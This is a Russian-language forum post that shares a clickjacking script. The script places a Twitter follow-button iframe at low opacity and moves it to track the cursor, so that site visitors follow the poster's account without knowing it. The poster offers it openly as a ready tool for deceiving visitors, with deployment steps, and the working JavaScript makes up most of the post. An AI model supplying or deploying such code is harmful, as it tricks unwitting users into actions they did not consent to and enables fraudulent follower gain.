1. BURMALDA12.03.2025 в 21:11от
Загрузка...

Посетители сайта автоматически становятся Вашими читателями

Тема в разделе "Другие соц. сети", создана пользователем GoogleS, 03.02.2013.

  1. GoogleS

    GoogleS

    Статус:
    Оффлайн
    Регистрация:
    03.02.13
    Сообщения:
    22
    Репутация:
    49 +/-
    Скрипт автоматически делает из посетителей сайта подписчиков Twitter
    Без их ведома.
    Все, что нужно сделать, изменить "your_username" (конец второй строки), на свой юзернейм.

    Скрипт:

    Код:
    <iframe class="twitter-follow-button" allowtransparency="true" frameborder="0" scrolling="no" 
    src="http://platform.twitter. com/widgets/follow_button.html?screen_name=your_username" 
    style="width:75px; height:20px;"> 
    </iframe> 
    
    <script> 
    if (!document.getElementsByClassName){ 
    document.getElementsByClassName = function(classname){ 
    for (i=0; i<document.getElementsByTagName("*").length; i++) 
    { 
    if (document.getElementsByTagName("*").item(i).className == classname){ 
    return new Array(document.getElementsByTagName("*").item(i)); 
    } 
    } 
    } 
    } 
    
    var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0]; 
    twitterFollowIframe.style.position = 'absolute'; 
    twitterFollowIframe.style.opacity = '0.2'; 
    twitterFollowIframe.style.filter = 'alpha(opacity=20)'; 
    //twitterFollowIframe.style.width = '110px'; 
    
    /* 
    // cross domain restriction won't allow this 
    twitterFollowIframe.onload = function() { 
    twitterFollowIframe.contentWindow.scrollTo(20, 0); 
    } 
    */ 
    
    document.onmousemove = function(e){ 
    if ( !e ) e = window.event; 
    twitterFollowIframe.style.left = e.clientX - 20; 
    twitterFollowIframe.style.top = e.clientY - 10; 
    } 
    </script>
    Не забудьте убрать пробел перед . com (2 строчка)